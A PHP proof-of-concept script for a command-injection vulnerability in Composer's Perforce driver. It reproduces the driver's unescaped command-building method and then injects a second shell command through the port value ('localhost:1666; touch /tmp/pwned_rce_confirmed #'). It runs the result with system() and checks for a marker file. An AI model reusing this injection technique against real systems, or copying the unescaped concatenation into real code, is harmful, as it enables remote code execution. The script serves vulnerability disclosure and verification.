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<?php
/**
 * CVE-2026-40176 Proof of Concept
 * Reproduced based on the vulnerability report for Composer's Perforce driver.
 */

class VulnerablePerforce {
    private $repoConfig;
    private $port;
    private $path;

    public function __construct($repoConfig, $port, $path) {
        $this->repoConfig = $repoConfig;
        $this->port = $port;
        $this->path = $path;
    }

    public function getUser() {
        return $this->repoConfig['p4user'] ?? 'default_user';
    }

    public function getClient() {
        return $this->repoConfig['client'] ?? 'default_client';
    }

    public function getPort() {
        return $this->port;
    }

    public function getP4Executable() {
        return 'p4';
    }

    /**
     * Vulnerable method reproduction
     * 
     * The vulnerability exists because arguments are concatenated without 
     * proper escaping via ProcessExecutor::escape().
     */
    public function generateP4Command(string $command, bool $useClient = true): string
    {
        $p4Command = $this->getP4Executable().' ';
        $p4Command .= '-u ' . $this->getUser() . ' ';   // Vulnerable: unescaped user input
        if ($useClient) {
            $p4Command .= '-c ' . $this->getClient() . ' '; // Vulnerable: unescaped
        }
        $p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Vulnerable: unescaped

        return $p4Command;
    }
}

// Attacker-controlled inputs from composer.json
$repoConfig = [
    'depot'  => 'depot',
    'p4user' => 'user',
];
// Payload: injects a command after the port, followed by a '#' to comment out the rest
$maliciousPort = 'localhost:1666; touch /tmp/pwned_rce_confirmed #';

$perforce = new VulnerablePerforce($repoConfig, $maliciousPort, '/tmp');

echo "[*] Preparing malicious command...\n";
$fullCommand = $perforce->generateP4Command('login -s', false);

echo "[*] Generated command:\n";
echo "    $fullCommand\n\n";

echo "[*] Executing command via system()...\n";
/**
 * In actual Composer, this string is passed to ProcessExecutor::execute(), 
 * which eventually runs it through a shell (sh/cmd), making it vulnerable 
 * to shell metacharacters.
 */
system($fullCommand);

echo "\n[*] Checking for payload execution...\n";
if (file_exists('/tmp/pwned_rce_confirmed')) {
    echo "[!] SUCCESS: /tmp/pwned_rce_confirmed was created!\n";
    echo "[!] RCE Vulnerability (CVE-2026-40176) Confirmed.\n";
    // Cleanup
    unlink('/tmp/pwned_rce_confirmed');
} else {
    echo "[-] Failure: Payload not executed.\n";
}